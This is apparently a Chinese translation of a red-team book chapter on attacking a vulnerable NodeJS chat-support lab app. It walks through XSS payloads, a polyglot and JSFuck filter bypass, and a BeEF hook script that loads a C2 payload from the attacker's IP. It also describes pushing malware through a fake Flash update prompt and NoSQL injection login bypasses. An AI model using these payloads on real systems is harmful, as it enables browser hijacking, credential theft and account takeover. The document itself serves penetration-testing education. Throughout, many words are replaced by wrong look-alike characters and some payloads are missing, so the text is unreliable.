Cyber Space Kittens:聊天接济系统你偶然发现了面向外部辘集的 CSK 聊天接济系统。当你迟缓筛选扫数页面并了解底层系统时,你会在应用范例中寻找其缺欠。你需要在做事器中找到第一个进口点,以便可以转入入侵出产环境。
你首先浏览了扫数缺点扫描范例和 Web 应用范例扫描范例的陈说结果,但是一无所获。看起来这家公司日常运行常见的缺点扫描器并修补了大部分问题。现在入侵的环节突破口在于代码问题、造作建立和逻辑障碍。你还珍爱到此应用范例正在运行 NodeJS,这是一种最近很流行的语言。
成立你的 Web 应用范例攻击机器固然对于红队要面临的 Web 应用范例,并莫得什么齐全的入侵方法,但是你需要的一些基本器具包括:
用浏览器武装我方。许多浏览器的行动皆相称不同,尤其是复杂的 XSS 躲避机制:
Firefox(我的最爱) Chrome SafariWappalyzer:一种跨平台的实用范例,可以揭示网站上使用的时代。它可以检测内容料理系统,电子商务平台,Web 框架,做事器软件,分析器具等等。
https://wappalyzer.com/BuiltWith:一个网站分析器具。在查找页面时,BuiltWith 会复返它在页面上可以找到的扫数时代。BuiltWith 的宗旨是匡助开发东说念主员,研究东说念主员和设想东说念主员找出正在使用的时代页面,这可以匡助他们决定我方采取哪些时代。
https://builtwith.com/Retire.JS:扫描 Web 应用范例所使用的易受攻击的 JavaScript 库。Retire.js 的宗旨是匡助你检测具有已知缺点的版块的使用情况。
https://chrome.google.com/webstore/detail/retirejs/moibopkbhjceeedibkbkbchbjnkadmom?Burp Suite(约350好意思元):固然这个贸易器具有点贵,但统统价廉物美,对于浸透测试东说念主员和红队队员来说。它的克己来自附加组件,模块化设想和用户开发基础。如果你买不起 Burp,OWASP ZAP(免费)是一个很好的替代品。
分析 Web 应用范例在咱们进行任何类型的扫描之前,尝试领路底层代码和基础结构相称要紧。咱们怎样能力知说念后端运行的是什么代码?咱们可以使用 Wappalyzer,BuiltWith 或 Google Chrome 浏览器稽查。鄙人面的图像中,当加载聊天应用范例时,咱们可以在 Chrome 中看到 HTTP 标头具有 X-Powered By: Express。咱们还可以在Wappalyzer 中看到应用范例正在使用 Express 和 Node.js。
盲目攻击网站之前了解宗旨应用范例可以匡助你提供更好的念念路。这也有助于入侵可能有 WAF 的宗旨站点,允许你使用更多的攻击手法。
辘集探伤在之前的书中,咱们详实先容了如何使用 Burp Suite 以及如何对站点进行浸透测试。咱们将跳过许多成立基础常识,并将更多元气心灵放在攻击网站上。
在这一丝上,咱们将假设你也曾成立好了 Burp Suite(免费或付费),何况你使用的是本书的 Kali 镜像。一朝咱们了解了底层系统,咱们就需要识别扫数端点。咱们仍然需要运行与之前相通的探伤器具。
Burp Suite 爬虫:在免费和付费版块中,Burp Suite 皆有一个很棒的爬虫器具。 内容探伤:如果你使用的是付费版块的 Burp Suite,那么最受迎接的探伤器具之一即是 Discover Content。这是一个智能高效的器具,可以查找目次和文献。你还可以为扫描指定多种不同的建立。 主动扫描:运行扫数参数的自动缺点扫描并测试多个 Web 缺点。 OWASP ZAP 近似于 Burp,但完全开源和免费。具有近似的探伤和主动扫描功能。 Dirbuster 一个很久以前就被开发出的旧器具,用于发现 Web 应用范例的文献/文献夹,但现在仍然可以凯旋的完成责任。 宗旨网址::3000 字典: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt GoBuster 相称轻量级、快速的目次和子域名爆破器具 gobuster -u :3000 -w /opt/SecLists/Discovery/Web-Content/raft-small-directories.txt -s 200,301,307 -t 20你的字典列表相称要紧。我最可爱使用的一个汇总的字典列表是一个名为 raft 的旧字典,它是许多开源式样的麇集。你可以在这里找到这些和其他有价值的字典列表:https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content(已包含在本书的 Kali 镜像中)。
现在既然咱们也曾完成了概括,让咱们进行一些攻击吧。从红队的角度来看,咱们正在寻找可以主动攻击的缺点,并为咱们提供最大的匡助。如果咱们正在进行评估或浸透测试,咱们可能会陈说缺点扫描范例中的 SSL 问题,默许 Apache 页面或其他缺点扫描范例发现的不可利用的缺点等。但是,在咱们的红队责任中,咱们可以完全忽略这些,并专注于能使咱们得到高等拜谒权限,shell 或 转储 PII 的攻击。
XSS 跨站剧本攻击在这一丝上,咱们皆也曾见过并利用过跨站点剧本攻击(XSS)。使用传统的 XSS 攻击测试网站上的每个变量的方式:<script>alert(1)</script>,对于缺点赏金平台来说可能很有用,但咱们可以作念更多吗?咱们可以使用哪些器具和方法来更好地利用这些攻击?
咱们皆知说念 XSS 攻击是客户端攻击,允许攻击者创建特定的 Web 央求从而将坏心代码注入响应中。这日常可以通过客户机和做事器端的安妥输入考证来确立,但这毫不是那么容易。为什么这样说?因为 XSS 缺点由多种原因酿成的。从编码不范例到不睬解框架,有时候应用范例变得过于复杂,就很难领路一个输入点的安全性。
因为只是弹窗确乎莫得果真的危害,让咱们从一些基本类型的 XSS 攻击最先:
Cookie 窃取XSS: 强制下载文献: 重定向用户: 其他剧本以启用键盘记载器,拍照等: -payloads.com/payloads-list.html?c#category=capture 经过污染的 XSS payload 和 XSS Polyglot现在,圭臬的 XSS payload 日常仍然有用,但咱们确乎会遭遇一些应用范例过滤字符或应用范例有 WAF 防护的情况。有两个很好的资源可以匡助你最先制作污染的 XSS payload 攻击:
https://github.com/foospidy/payloads/tree/master/other/xss https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet有时在行动期间,你可能会遭遇简单的 XSS 过滤器,它们会查找像 <script> 这样的字符串。污染 XSS payload 是一种遴荐,但一定要珍爱并非扫数 JavaScript payload 皆需要打开和关闭 <script> 标签。有一些 HTML 事件属性在触发时实行 JavaScript( https://www.w3schools.com/tags/ref_eventattributes.asp )。这意味着任何专门针对 Script 标签的规则皆是无效的。举例,下列这些实行 JavaScript 的 HTML 事件属性就不使用 <script> 标签:
<b onmouseover=alert('XSS')>Click Me!</b> <svg onload=alert(1)> <body onload="alert('XSS')"> <img src="" onerror=alert(document.cookie);>你可以通过拜谒应用范例来尝试 CSK 应用范例中的每个 HTML 实体攻击::3000/ (紧记修改 /etc/host 文献以指向与诬捏机 IP 的聊天)。进入后,注册一个帐户,登录应用范例,然后转到聊天功能( :3000/chatchannel/1 )。尝试不同的实体攻击和经过污染的 payload。
XSS 的其他优秀资源:
第一个是由 @jackmasa 制作的念念维导图。这是一个很棒的文档,它根据输入点的位置来分解不同的 XSS payload。固然不再在 JackMasa GitHub 页面上,但是这里有一个副本。
另一个很好的资源,磋磨哪些浏览器容易受到哪些 XSS payload 的影响:https://html5sec.org/ 。
如你所见,尝试在应用范例上查找每一个 XSS 有时是很烦东说念主的。这是因为易受攻击的参数受到代码功能、不同类型的 HTML 标记、应用范例类型和不同类型的过滤的影响。试图找到开动 XSS 的弹出窗口可能需要很耐久间。如果咱们可以尝试将多个 payload 贯穿到单个央求中,该若何办?
临了一种类型的 payload 称为 Polyglot。Polyglot payload 采取许多不同类型的 payload 和污染时代,并将它们编译成一次攻击。这适用于想使用自动剧本查找 XSS、期间有限的的缺点赏金式样,或者只是想要快速发现输入考证存在哪些问题等情况。
因此,咱们可以像( )这样构建一个 Polyglot,而不是普通的 <script>alert(1)</script>:
/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )// //</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
如果你看一下上头的 payload,此攻击试图不使用尖括号,点和斜线的传统攻击代码;实行 onclick XSS;关闭多个标签;临了尝试一个 onload XSS。这些类型的攻击使 Polyglots 在识别 XSS 方面相称有用和高效。你可以在此处阅读关联这些 Polyglot XSS 的更多信息:https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot 。
如果你想测试和使用不同的 polyglots,可以从易受攻击的 XSS 页面( :3000/xss )或通盘聊天应用范例最先。
BeEF
浏览器缺点利用框架( )或简称 BeEF 将 XSS 攻击提高到另一个眉目。此器具将 JavaScript payload 注入受害者的浏览器,该浏览器会感染用户的系统。这会在受害者的浏览器上创建一个 C2通说念,用于 JavaScript 后期利用。
对红队来说,BeEF 是一个很好的器具,可用于入侵行径,追踪用户,拿获凭证,实行点击劫持,使用 Tabna 进行攻击等等。如果不在攻击期间使用,BeEF 亦然一个很好的器具,可以展示 XSS 缺点的坚强功能。这也有助于更复杂的攻击,咱们将在背面的 Blind XSS 末节下磋磨。
BeEF 分为两部分:一部分是做事器,另一部分是攻击 payload。要启动做事器:
在你的攻击者 Kali 主机上启动 BeEF
打开结尾 beef-xss 使用 beef:beef 稽查 :3000/hook.js 完整 payload 文献: <script src="http://<Your IP>:3000/hook.js"></script>稽查位于 :3000/hook.js 上的 hook.js 文献,你应该会看到近似于长污染的 JavaScript 文献的内容。这是结合受害者复返敕令和控制做事器的客户端 payload 。
一朝在宗旨应用范例上识别出 XSS,而不是原始的 alert(1) 花式的 payload,就可以修改 <script src ="http://<YourIP>:3000/hook.js"></script> payload 来利用此缺点。一朝你的受害者堕入此 XSS 罗网,将导致他们的浏览器结合回你这边并成为你的僵尸辘集的一部分。
BeEF 接济哪些类型的后浸透攻击?一朝你的受害者受到你的控制,你就可以作念任何 JavaScript 可以作念的事情。你可以通过 HTLM5打开相机并拍摄受害者的相片,你可以在屏幕上夸耀覆盖图以拿获凭证,也可以将其重定向到坏心网站以实行坏心软件。
以下是 BeEF 从 XSS 攻击中引发多数问题的快速演示:
首先,确保你的 BeEF 做事器在攻击者策动机上运行。在咱们的易受攻击的聊天接济系统的应用范例中,你可以拜谒 :3000/xss 并在熟练2的字段中输入你的 payload:
<script src=":3000/hook.js"></script>一朝你的受害者结合到你的僵尸辘集,你就可以完全控制他们的浏览器。你可以根据开导,浏览器和宗旨机器启用的功能进行多样攻击。通过社会工程学演示 XSS 影响力的一个好方法是通过 Flash 更新教唆将坏心软件推送到他们的策动机。
一朝实行,将在受害者的策动机上夸耀弹出窗口,强制他们安设更新,其中包含咱们准备的坏心软件。
我建议花一些期间熟悉扫数 BeEf 的后浸透模块,并了解 JavaScript 的坚强功能。由于咱们会控制浏览器,因此咱们必须弄领会如安在红队行径中使用它。一朝你通过 XSS 感染了受害者,你还想作念些什么?咱们将在背面的“从 XSS 到 shell”部分磋磨这个问题。
Blind XSS 缺点Blind XSS 缺点很少被磋磨,因为它是需要耐烦的游戏。什么是 Blind XSS 缺点?正如攻击的称呼所默示的那样,攻击者/用户看不到存储的 XSS payload 的实行(无回显),只须料理员或后台职工能力看到。由于其攻击后端用户的智商,是以这种攻击可能危害很大,但尽管如斯,它如故日常被淡忘。
举例,咱们假设某个应用范例有一个“掂量咱们”页面,允许用户向料理员提供掂量信息,以便以后掂量。由于该数据的结果只可由料理员手动稽查而不是用户央求稽查,是以如果应用范例易受 XSS 攻击,攻击者不会立即看到他们的 “alert(1)” 攻击的回显。在这些情况下,咱们可以使用 XSSHunter 来匡助咱们考证 Blind XSS 缺点。
XSSHunter 的责任旨趣是,当咱们的 JavaScript payload 实行时,它将截取受害者屏幕(他们正在稽查确当前页面)的屏幕截图,并将该数据发送回 XSSHunter 的站点。发生这种情况时,XSSHunter 将发送一个警报,见告咱们的 payload 已实行并向咱们提供扫数详实信息。咱们现在可以且归创建一个坏心 payload 并重新进行咱们的攻击。
XSS Hunter:
禁用任何代理(即 Burp Suite) 在 https://xsshunter.com 创建帐户 登录 https://xsshunter.com/app 转到 Payload 模块以得到你的 Payload 修改 payload 以安妥你的攻击或使用它构建 Polyglot 检讨 XSS hunter 以稽查 payload 实行情况 基于 DOM 的 XSS对反射 XSS 和存储 XSS 的领路相对简单。咱们也曾知说念,如果做事器莫得为用户/数据库提供弥散的输入/输出考证,咱们的坏心剧本代码就和会过源代码呈现给用户。然则,在基于 DOM 的 XSS 中,它略有不同,这导致了一些常见的误解。因此,让咱们花些期间专注于基于 DOM 的 XSS。
当攻击者可以把持 Web 应用范例的客户端剧本时,就可以使用基于文档对象模子(DOM)的 XSS。如果攻击者可以将坏心代码注入 DOM 并由客户端的浏览器读取,则可以在从 DOM 读回数据时实行 payload。
DOM 究竟是什么?文档对象模子(DOM)是 HTML 属性的一个本性。由于你的浏览器不睬解 HTML,因此它会使用将 HTML 蜕变为 DOM 模子的解释器。
让咱们在聊天接济网站上试一下吧。稽查易受攻击的 Web 应用范例,你应该能够看到聊天接济网站受到 XSS 攻击的进程:
创建一个帐户 登录 去聊天 尝试 <script>alert(1)</script>,然后尝试一些更猖獗的 XSS 攻击!在咱们的示例中,咱们在做事器端有 Node.js,socket.io(Node.js 的库)在用户和做事器之间成立 Web 套接字,客户端 JavaScript 和咱们的坏心 msg.msgText JavaScript。正如你鄙人面和页面的源代码中看到的那样,你不会像在圭臬的反射/存储的 XSS 中那样顺利援用你的“弹窗” payload。在这个例子里,咱们将得知唯一指示可以调用 payload 的位置来自 msg.name 援用。这有时会使咱们很难肯定实行 XSS payload 的位置,或者是否需要碎裂任何 HTML 标记。
NodeJS 中的高等 XSSXSS 可以络续用于攻击的一个要紧原因是,仅靠过滤标签或某些字符驻守它的话要发愤得多。当 payload 特定于某种语言或框架时,XSS 很难驻守。由于每种语言在此缺点方面皆有其独到之处,因此 NodeJS 也不会有什么不同。
在高等 XSS 部分中,你将学习一些特定语言的 XSS 缺点弘扬作用的示例。咱们的 NodeJS Web 应用范例将使用一种更常见的 Web 堆栈和建立。此杀青包括 Express Framework 和 Pug 模板引擎。要紧的是要珍爱一丝,默许情况下,Express 确乎莫得内置的 XSS 防护,除非通过模板引擎进行渲染。当使用像 Pub 这样的模板引擎时,有两种常见的方法可以找到 XSS 缺点:(1)通过字符串插值,以及(2)缓冲代码。
模板引擎有一个字符串插值的主张,这是一种界说“字符串变量的占位符”的奇特方式。举例,让咱们将字符串分配给 Pug 模板时势的变量:
- var title = "This is the HTML Title" - var THP = "Hack the Planet" h1 #{title} p The Hacker Playbook will teach you how to #{THP}
请珍爱,#{THP} 是 THP 之前分配的变量的占位符。咱们日常会在电子邮件分发音尘中看到这些模板。你是否收到过来自 ${first_name}...的自动化系统发送的电子邮件而不是你的真实名字?这恰是模板引擎的用途。
当上头的模板代码呈现为 HTML 时,它将如下所示:
行运的是,在这种情况下,咱们使用 #{} 字符串插值,这是 Pug 插值的转义版块。如你所见,通过使用模板,咱们可以创建可重用性相称高的代码并使模板相称轻量级。
Pug 接济转义和非转义字符串插值。躲避和未转义之间的区别是什么?好吧,使用转义字符串插值将对 < ,> ,' 和 "之类的字符进行 HTML 编码。这将有助于向用户提供输入考证。如果开发东说念主员使用非转义字符串插值,这日常会导致 XSS 缺点。
此外,字符串插值(或变量插值,变量替换或变量扩张)是评估包含一个或多个占位符的字符串翰墨的过程,从而产生一个结果,其中占位符替换为其对应的值。[https://en.wikipedia.org/wiki/String_interpolation]
在 Pug 躲避和非转义字符串插值( https://pugjs.org/language/interpolation.html ): !{} - 非转义字符串插值 #{} - 转义字符串插值 * 固然这是转义的,但如果顺利通过 JavaScript 传递它仍然可能容易受到 XSS 的攻击 在 JavaScript 中,未转义的缓冲区代码以“!=”伊始。“!=”之后的任何内容皆将自动作为 JavaScript 实行。 [https://pugjs.org/language/code.html#unescaped-buffered-code] 临了,只须允许插入原始 HTML,就有可能存在 XSS。在现实宇宙中,咱们也曾看到许多易受 XSS 攻击的案例,基于上敷陈明的方法,开发东说念主员健忘了他们所处的高下文以及输入的参数的传递位置。让咱们望望咱们易受攻击的聊天接济系统应用范例中的一些示例。转到诬捏机上的以下 URL::3000/xss。咱们将渐渐完成这些熟练中的每一个,以了解 NodeJS/Pug XSS。
熟练1:( :3000/xss )
在这个例子中,咱们将字符串插值转义为段落标记。这是不可利用的,因为咱们在 HTML 段落高下文中使用了正确的转义字符串插值标记。
转到 :3000/xss ,然后单击熟练#1 Pug 模板源代码 p No results found for #{name1} 尝试输入并提交以下 payload : <script>alert(1)</script> 单击熟练#1并稽查无结果输出 稽查 HTML 响应(稽查页面的源代码): <script>alert(1)</script>点击提交后,稽查页面源代码(ctrl+u)并搜索“alert”一词。你将看到咱们的 payload 中的特殊字符被蜕变为 HTML 实体。剧本标签仍可通过咱们的浏览器在咱们的网站上看到,但不会呈现为 JavaScript。这种字符串插值的使用是正确的,何况现实上莫得办法通过这种情况来找到 XSS。这个责任评分会是 A+!让咱们看一些糟糕的例子。
熟练2
在这个例子中,咱们在段落标记顶用 !{} 默示非转义字符串插值。这很容易受到被全心设想的 XSS 攻击。任何基本的 XSS payload 皆会触发此操作,举例:<script>alert(1)</script>
打开熟练2
Pug 模板源代码
p No results found for !{name2}尝试输入 payload:
<script>alert(1)</script>复返:
<script>alert(1)</script>点击提交后,咱们应该看到弹出窗口。你可以通过稽查页面源代码并搜索“alert”进行考证。
因此,使用未提交用户输入的非转义字符串插值(!{name2})会导致许多费劲。这是一种不好的作念法,不应该用于用户提交的数据。因为咱们输入的任何 JavaScript 皆将在受害者的浏览器上实行。
熟练3
这个例子中,咱们在动态生成的行内 JavaScript 中加入了转义后的字符串。这意味着咱们得胜了,因为它也曾躲避了,不是吗?由于咱们所处的代码高下文,这个例子很容易受到攻击。咱们将在 Pug 模板中看到,在咱们的转义插值之前,咱们现实上是在一个 script 标签内。因此,任何 JavaScript 皆会自动实行。更棒的是,因为咱们位于 Script 标签内,是以咱们不需要将 <script> 标签用作 payload 的一部分。咱们可以使用顺利的 JavaScript 代码,举例:alert(1):
打开熟练3
Pug 模板源代码
script. var user3 = #{name3}; p No results found for #{name3}此模板将在 HTML 中进行转义,如下所示:
<script> <p>No results found for [escaped user input]</p> </script>尝试输入 payload:
1;alert(1);点击提交后,咱们应该看到弹出窗口。你可以通过稽查页面源代码并搜索“alert”进行考证。
趁机说一句,底下是一个小小的改变,正确的方法是在插值周围添加引号:
Pug 模板源代码 script. var user3="#{name3}"熟练4
在这个例子中,咱们有 Pug 非转义代码,由 != 默示,因为莫得转义,是以它很容易受到 XSS 的攻击。因此,在这种情况下,咱们可以对输入字段使用简单的 <script>alert(1)</script> 花式攻击。
Pug 模板源代码: p != 'No results found for '+name4 尝试输入 payload: <script>alert(1)</script> 点击提交后,咱们应该看到弹出窗口。你可以通过稽查页面源代码并搜索“alert”进行考证。熟练5
假设咱们得到一个使用转义字符串插值和某种类型的过滤的应用范例。鄙人面的熟练中,咱们在 NodeJS 做事器中实行规则最小的黑名单过滤剧本,删除“<”,“>”和“alert”等字符。但是,他们再次造作地将咱们的转义字符串插值放在 script 标签中。如果咱们可以在那里利用 JavaScript,咱们就可以发现一个 XSS:
打开熟练5 Pug 模板源代码 name5 = req.query.name5.replace(/[;’"<>=]|alert/g,"") script. var user3 = #{name5}; 尝试输入 payload 你可以尝试 alert(1),但由于过滤器不起作用。你也可以尝试像<script>alert(1)</script>这样的东西,但转义代码和过滤器会禁止咱们。如果咱们真的想得到能利用 alert(1)的 payload,咱们该若何办? 咱们需要弄领会如何绕过过滤器来插入原始 JavaScript。请记着,JavaScript 功能相称坚强,何况具有许多功能。咱们可以利用此功能来提供一些新颖的 payload。绕过这些过滤器的一种方法是使用新颖的 JavaScript 默示方法。这可以通过名为 的站点创建。如下所示,通过使用括号,括号,加号和惊叹号,咱们可以重新创建 alert(1)。 JSF*ck Payload:[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()
如你所知,许多浏览器已最先包含 XSS 保护机制。咱们以致可以使用这些 payload 来绕过某些浏览器保护。尝试在 Kali 之外的真实浏览器中使用它们,举例 Chrome。
在复杂的应用范例上触发 XSS 并阻扰易。很容易疏远或误解框架如何处理输入和输出。因此,在为 Pug/NodeJS 应用范例实行源代码审查时,在源代码中搜索 !{,#{ 或 ${ 有助于可能触发 XSS 的位置。了解高下文,以及是否需要在该高下文中进行转义,这是至关要紧的,咱们将在以下示例中看到。
尽管这些攻击特定于 Node 和 Pug,但每种语言皆存在针对 XSS 和输入考证的问题。你将无法运行缺点扫描范例或 XSS 恶浊测试器具并找到扫数 XSS 缺点。但你确乎需要了解所使用的语言和框架。
从 XSS 到 shell我日常遭遇的一个问题是,我如何通过 XSS 获取 Shell?尽管有许多不同的方法可以作念到这一丝,但咱们日常会发现,如果咱们可以让用户在内容料理系统(CMS)或近似系统中得到料理员的 XSS,那么这可能会导致系统完全受损。可以在这里找到 Hans-Michael 完整的演练示例和代码:https://github.com/Varbaek/xsser 。 Hans-Michael 提供了一些对于重建 XSS 到 RCE 攻击的精彩示例和视频。
我可爱使用触及利用 JavaScript 功能的自界说红队攻击。咱们知说念 JavaScript 相称坚强,咱们在 BeEF(浏览器开发框架)中看到过这样的功能。因此,咱们可以利用扫数这些功能来实行受害者不知情的攻击。这个 payload 会作念些什么?攻击的一个示例是让受害者策动机上运行的 JavaScript XSS payload 获取受害者的里面(天然)IP 地址。然后,咱们可以获取其 IP 地址并最先使用咱们的 payload 扫描其里面辘集。如果咱们发现一个允许在莫得身份考证的情况下就可以登入的 Web 应用范例,咱们就可以向该做事器发送 payload。
举例,咱们的宗旨可能是 Jenkins 做事器,咱们知说念如果可以未经身份考证登录的话,险些可以完成长途代码实行。要稽查 XSS 与 Jenkins 入侵的完整演练,请参阅第5章 - 利用社会工程攻击内网 Jenkins。
NoSQL 注入在前两本书中,咱们花了格外多的期间学习如何进行 SQL 注入和使用 SQLMap。除了对 Burp Suite 的一些污染和集成之外,本书对比上本书莫得太大变化。相背,我想深入研究 NoSQL 注入,因为这些数据库变得越来越普遍。
MySQL,MSSQL 和 Oracle 等传统 SQL 数据库依赖于关统统据库中的结构化数据。这些数据库是关系型的,这意味着一个表中的数据与其他表中的数据关联。这样可以缩小实行查询,举例“列出扫数在往常30天内购买东西的客户”。对这些数据的要求是,数据的时势必须在通盘数据库中保持一致。NoSQL 数据库由日常不明任表格/关系模子的数据构成,如 SQL 查询数据库中所示。这些称为“非结构化数据”(如图片,视频,外交媒体)的数据并不适用于咱们的多数汇集数据。
NoSQL 功能:
NoSQL 数据库的类型:Couch/MongoDB 非结构化数据 水平化增长在传统的 SQL 注入中,攻击者会尝试碎裂 SQL 查询语句并在做事器端修改查询语句。使用 NoSQL 注入,攻击可以在应用范例的其他区域中实行,而不是在传统的 SQL 注入中实行。此外,在传统的 SQL 注入中,攻击者会使用一个标记来发起攻击。在 NoSQL 注入中,在NoSQL注入中,日常存在将字符串解析或评估为NoSQL调用的缺点。
NoSQL 注入中的缺点日常在以下情况下发生:(1)端点接受的 JSON 数据是从 NoSQL 数据库中央求的,以及(2)咱们能够使用 NoSQL 比较运算符操作查询来变调 NoSQL 查询。
NoSQL 注入的一个常见例子是注入近似的东西:[{"$gt":""}]。这个 JSON 对象基本上是说运算符($gt)大于 NULL("")。由于逻辑上一切皆大于 NULL,因此 JSON 对象成为一个果真正确的语句,允许咱们绕过或注入 NoSQL 查询。这格外于 SQL 注入宇宙中的[' or 1=1—]。在 MongoDB 中,咱们可以使用以下条件运算符之一:
(>)大于 - $gt (<)小于 - $lt (>=)大于等于 - $gte (<=)小于等于 - $lte攻击客户接济系统 NoSQL 应用范例
首先,浏览聊天应用范例上的 NoSQL 责任进程:
在浏览器中,通过 Burp Suite 代理,拜谒聊天应用范例::3000/nosql
尝试使用任何用户名和密码进行身份考证。稽查在 Burp Suite 中的身份考证央求期间发送的 POST 流量。
在咱们的聊天应用范例中,咱们将看到在对/loginnosql 端点进行身份考证期间,咱们的 POST 数据将包含 { "用户名":"admin","密码": "GuessingAdminPassword" }。在 POST 央求中使用 JSON 来考证用户是很常见的,但是如果咱们界说我方的 JSON 对象,咱们可能会使用不同的条件语句来生成果真的语句。这现实上等于传统的 SQLi 1 = 1语句和绕过认证。让咱们望望咱们是否可以将其注入咱们的应用范例。
做事器源代码
在聊天应用范例的 NoSQL 部分中,咱们将像之前一样看到 JSON 的 POST 央求。因为作为黑盒测试,咱们也看不到做事器端的源代码,咱们可以期望它以某种方式查询 MongoDB 后端,近似于:
db.collection(collection).find({"username":username,"password":password}).limit(1)...注入 NoSQL 聊天系统
正如咱们从做事器端源代码中看到的那样,咱们将使用用户提供的用户名/密码来搜索数据库以查找匹配项。如果咱们可以修改 POST 央求,咱们可能会注入数据库查询。
在浏览器中,通过 Burp Suite 代理,拜谒聊天应用范例::3000/nosql 在 Burp Suite 中打开“禁止”,单击“登录”,然后以料理员身份提交用户名,并输入密码 GuessingAdminPassword 代理流量并禁止 POST 央求 {"username":"admin","password","GuessingAdminPassword"} --> {"username":"admin","password":{"$gt":""}} 你现在应该可以以料理员身份登录!那么这里发生了什么呢?咱们将字符串 "GuessingAdminPassword" 变调为JSON对象 {"$gt":""},这是 TRUE 语句,因为大于 NULL 的扫数内容皆为 TRUE。这将 POST 央求变调为 {"username":"admin", "password":TRUE },它自动使央求为 TRUE 并以料理员身份登录而不需要知说念密码,近似 SQLi 中的 1 = 1 攻击。
高等 NoSQLi
NoSQL 注入并不簇新,但 NodeJS 章节的目的是展示更新的框架和语言以及如何潜在地引进新的缺点。举例,Node.js 有一个 qs 模块,它具有将 HTTP 央求参数蜕变为 JSON 对象的特定语法。默许情况下,qs 模块在 Express 中使用“body-parser”中间件的一部分。
qs 模块:一个查询字符串解析和字符串化库,增多了一些安全性。[https://www.npmjs.com/package/qs]这是什么趣味?如果使用 qs 模块,如果在参数中使用括号默示法,POST 央求将在做事器端蜕变为 JSON。因此,看起来像用户名 [value] = admin&password [value] = admin 的 POST 央求将蜕变为 {"username":{"value":"admin"},"password":{"value":"admin" }}。现在,qs 模块也将接受并蜕变 POST 参数以协助 NoSQLi:
举例,咱们可以发出如下的 POST 央求: username=admin&password[$gt]= 做事器端央求蜕变将蜕变为: {"username": "admin", "password":{"$gt":""} 现在看起来近似于传统的 NoSQLi 攻击。现在,咱们的央求看起来与上一节中的 NoSQLi 相通。让咱们望望这个操作:
转到 :3000/nosql2 打开 Burp Intercept 使用 admin 登录: 修改 POST 参数: username=admin&password[$gt]=&submit=login你应该可以使用 admin 登录了!你已使用 Express Framework 使用的 qs 模块解析器实行 NoSQL 注入,作为解析器中间件的一部分。但等等,还有更多!如果你不知说念要攻击哪个用户名若何办?咱们可以使用相似的攻击来查找和登录其他帐户吗?
如果不是使用密码的话,那咱们也可以尝试使用用户名吗?在这种情况下,NoSQLi POST 央求看起来像:
username[$gt]=admin&password[$gt]=&submit=login上头的 POST 央求现实上是在数据库中查询下一个大于 admin 的用户名,并使用密码字段生成一个 TRUE 语句。如果得胜,你应该在料理员之后按字母法则作为下一个用户登录。陆续这样作念,直到找到 superaccount 。
更多 NoSQL Payload:
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL Injection https://blog.websecurify.com/2014/08/hacking-nodejs-andmongodb.html https://www.owasp.org/index.php/Testing_for_NoSQL_injection 反序列化攻击在往常的几年中,通过辘集进行的序列化/反序列化攻击变得越来越流行。咱们在 BlackHat上看到了许多不同的磋磨,发现了 Jenkins 和 Apache Struts2 等常见应用范例中的环节缺点,何况正在开发像 ysoserial 这样器具的多数活跃研究。那么反序列化攻击有什么是非之处呢?
在咱们最先之前,咱们需要了解为什么要序列化。序列化数据有许多原因,但最常用于生成值/数据的可存储默示而不会丢失其类型或结构。序列化将对象蜕变为字节流,以通过辘集传输或存储。日常,蜕变方法触及 XML,JSON 或特定于该语言的序列化方法。
NodeJS 中的反序列化许多时候,发现复杂的缺点需要深入了解应用范例。在咱们的场景中,Chat NodeJS 应用范例正在使用易受攻击的 serialize.js 版块 。可以发现这个 Node 库易受攻击,因为 “不受信任的数据被传递到 unserialize() 函数中,攻击者通过传递一个存在 Immediately Invoked Function Expression(IIFE)的 JavaScript 对象可以引起轻易代码实行。”( https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5941 )
